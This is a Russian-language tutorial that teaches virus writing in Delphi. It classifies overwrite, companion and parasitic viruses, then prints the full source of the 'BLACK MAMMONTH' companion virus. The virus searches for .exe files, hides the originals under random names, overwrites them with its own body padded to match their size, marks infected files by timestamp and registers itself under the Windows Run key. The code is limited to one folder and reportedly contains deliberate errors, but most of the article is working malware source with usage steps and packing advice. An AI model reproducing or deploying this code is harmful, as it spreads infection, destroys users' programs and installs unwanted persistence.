Вирус на Delphi
Автор: Dr.Klouniz
Прислал: Прокопец Антон
ВНИМАНИЕ: вся информация дана исключительно в образовательных целях
Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на
Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение,
возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе,
коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде
всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции
вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые
эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не
буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.
Классификация
- HLLO- High Level Language Overwrite.
- Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при
попытке запуска программы пользователем- запускается вирус и “заражает” дальше.
- HLLC- High Level Language Companion.
- Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у
пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с
расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская
вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная:
Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает
оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все
довольны.
- HLLP- High Level Language Parasitic.
- Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем
он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к
запущенному файлу- т.е. мы не можем читать “из себя”.
Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию
исходника. Итак, что же нам нужно знать:
Работа с файлами- вирус довольно активно с ними общается:
- Связь с файлом:
procedure AssignFile(var F; FileName: string);
// Например:
AssignFile(F1, ’klizma.exe’);
- Открытие файла для чтения:
procedure Reset(var F[: file; RecSize: Word]);
// Например:
Reset(F1);
- Чтение инфы из файла в буфер:
procedure BlockRead(var F: file; var Buf;
Count: Integer[; var AmtTransferred: Integer]);
Здесь buf- массивчик, напр.
Buf: array[1..65535] of Char;
Count- сколько байтов ты хочешь прочесть
AmtTransfered- сколько реально прочитано.
// Например:
BlockRead(F1, Buf, 1024);
- Запись из буфера в файл:
procedure BlockWrite(var f: file; var Buf; Count:
Integer[; var AmtTransferred: Integer]);
Почти то же, что и предыдущее.
- Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);
- Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.
- Поиск файла. Без него нам никак не обойтись, надо же искать жертву J.
function FindFirst(const Path: string; Attr:
Integer; var F: TSearchRec): Integer;
Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый.
F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла.
// Например:
FindFirst(‘ * .exe’, faAnyFile, sr);
Sr.Name- имя найденного файла
Sr.Size- его размер.
Чтобы искать следующий такой же файл, пиши FindNext (Sr);
Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать
интересный циклик:
Result := FindFirst('*.exe', faAnyFile, sr);
while result = 0 do
begin
//Сюда пишешь процедуру заражения
FindNext(sr);
end;
- 8.Закрытие файла, все наши с ним извращения сохраняются:
procedure CloseFile(var F: file);
- 9.Сдвиг рамки считывания:
procedure Seek(var F; N: Longint);
Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в
буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем:
Seek(F1,1000);
А потом уже
BlockRead (…);
- 10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из
файла. Непосредственно после BlockRead пишем:
if IOResult = 0 then
Если ноль, то все успешно, если нет- возвращается код
ошибки. Такой прием возможен, только если
{$I-}
- 11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для
запускаJ) лично я вызываю старый добрый stack overflow:
function BlowTheStack(I: Integer): Integer;
var
J: Integer;
begin
J := 2;
Result := BlowTheStack(I * J);
end;
- 12.Установка атрибутов файла:
FileSetAttr(Filename: string, FileAttr);
// Например:
FileSetAttr(‘klizma.exe’, faHidden);
Fileattr- как в findfirst.
Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно
откомментировано, а здесь я поясню только общие принципы.
Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении
вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой
версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем
если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от
оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между
оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в
каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем
winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление
получает вирь, ища и заражая файлы). При первом старт
С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как
TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем
компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь
только там и может работать- что поделаешь, небоевая версия…
Совет напоследок
Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший
пакер для EXE и DLL файлов, с дельфийских прог сносит ~40% избыточного веса, а с опцией MaxCmp файл обратно уже не
распаковывается. Взять его можно тут: www.neoworx.com, весит он 568Кб.
P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение
милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя
посадят. На 15 суток, за хулиганство и нарушение общественного порядка!
Примечание VR-online
На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так,
потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье.
Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим.
Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь
использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не
станешь лучше если уничтожишь компьютер соседа.
Исходник
{
BLACK MAMMONTH VIRUS,
ОБУЧАЮЩАЯ ВЕРСИЯ.
MADE IN USSR,
Dr.Klouniz
КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:\inf
2.Компилируем вирус (Project--> Build)
3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}
{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию
program VirDebug;
uses sysutils, //Заголовочные файлы
windows,
registry, //Работа с системным реестром
classes,
inifiles; //Работа с INI-файлами
const
VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
//размер с указанным здесь, при необходимости измените и перекомпилируйте
var
zertva, virus: TFileStream; //Мы и жертва
//буфера для чтения записи довеска и вируса
vir, dovesok: array[1..VirLen] of Char;
result: integer; //результат FindFirst'а
client, sr: TSearchRec;
//Массив имени файла
Name: array[1..8] of string;
//Массив расширения файла
Ext: array[1..3] of string;
//Наш INI-каталог; вирус- полноценная прога под WindoZ!
Info: TINIFILE;
NewName, pr, par, FromF: string; //Разные строчки
//Дата как метка зараженности
Birth: TDateTime;
kill, slay, winvir, NewProga: file; //файлы
//Индикатор зараженности (TRUE/FALSE)
infected: boolean;
//Текстовый файл-визитка; свидетельствует о том, что это не первый
//старт виря на данном компьютере
check: textfile;
si: Tstartupinfo;
p: Tprocessinformation;
reg: TRegistry;
// Функция- копировалка
function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
F: TShFileOpStruct;
begin
F.Wnd := 0;
F.wFunc := FO_COPY;
FromFile := FromFile + #0;
F.pFrom := pchar(FromFile);
ToDir := ToDir + #0;
F.pTo := pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result := ShFileOperation(F) = 0;
end;
procedure INFECTFILES; //Процедура-инфектор
begin
//Находим исполн. файл в каталоге c:\inf\
result := FindFirst('c:\INF\*.exe', faAnyFile, client);
while Result = 0 do //Если нашли, то...
begin
//Проверка на вшивость
Infected := false;
//если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
'09.08.83 06:00:00' then
infected := true;
//Проверено!
//если мы нашли не сами себя и не зараженный файл, то...
if (client.name <> sr.name) and (infected = false) and
(client.name <> 'mammonth.exe') then
. //Сочиним новое имя для нашей жертвы;
begin
Name[1] := inttostr(random(10));
Name[2] := inttostr(random(10));
Name[3] := inttostr(random(10));
Name[4] := inttostr(random(10));
Name[5] := inttostr(random(10));
Name[6] := inttostr(random(10));
Name[7] := inttostr(random(10));
Name[8] := inttostr(random(10));
Ext[1] := inttostr(random(10));
Ext[2] := inttostr(random(10));
Ext[3] := inttostr(random(10));
NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
name[7] +
name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
//Свяжемся с нашей жертвой
AssignFile(Kill, 'c:\INF\' + client.name);
//Отправим ее в загон для всех таких же, с уникальным именем
ReName(Kill, 'c:\INF\files\' + NewName);
//Фиксируем новое имя в нашем каталоге
Info := TIniFile.create('c:\inf\filelist.ini');
with info do
begin
//Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
WriteString('FILELIST', client.name, NewName);
free;
end;
//А теперь заразим страшным ВИРУСОМ наш файл!
//Открываем на чтение наш семенной фонд :)
||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
Virus.Read(vir, VirLen);
//Читаем вирус полностью (константу VirLen помнишь?)
//Если клиент поболее нас, но не более чем вдвое,
if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
//то сравняем размеры
begin
Virus.Position := 1; //Рамка считывания- сначала
Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
end;
//перепишем жертву по- нашему
zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
zertva.Write(vir, virlen); //Запишем себя в жертву
if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
Birth := StrToDateTime('09.08.83 06:00:00');
//поставим жертве индикатор зараженности
FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
Zertva.FREE; //Отпускаем жертву!
Virus.FREE;
end;
Result := FindNEXT(Client); //Ищем следуюущий екзешник
end;
end;
procedure REGISTRATION;
begin
//первый раз, в первый класс!
MkDir('c:\inf\files'); //Создадим загон для жертв
AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
ReWrite(check);
WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
CloseFile(check); //Сделано!
par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
Reg := TRegistry.Create;
//И пусть этот маммонт запускается каждый раз!
FileSetAttr('c:\inf\mammonth.exe', faHidden);
with Reg do
begin
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
begin
WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
CloseKey;
end;
end;
//Все. Мы в реестре.
//Халтим вирус с правдоподобным сообщением-
//сюда можно вписать процедуру вызова StackOverflow
end;
//Процедура исполнения оригинальной проги
procedure EXECPROGRAM
begin
Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
//Вытащим из загона нужный файл
WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
AssignFile(NewProga, 'c:\inf\' + FromF);
ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
PR := 'c:\inf\' + '_' + Sr.Name;
Info.Free;
//Создали, теперь заКапустим его!!!
FillChar(Si, SizeOf(Si), 0);
with Si do
begin
cb := SizeOf(Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
//Application.Minimize;
Pr := Pr + #0;
Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
nil, si, p);
Waitforsingleobject(p.hProcess, infinite);
//Application.Restore;
//Все, отпахала юзерская прога- потрем ее на хрен!
AssignFile(slay, pr);
Erase(slay);
end.
{
КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}
begin
//узнаем имя файла, откуда стартовали
FindFirst(ParamStr(0), faAnyFile, sr);
//А вдруг первый раз на этом компе???
AssignFile(check, 'c:\inf\present.dat');
Reset(check);
if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
begin
REGISTRATION;
INFECTFILES;
HaLt;
end;
if sr.name = 'mammonth.exe' then
begin
//Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
//INFECTFILES;
HALT;
end;
INFECTFILES;
EXECPROGRAM;
{++++END OF THE WORLD NEAR++++}
end.
|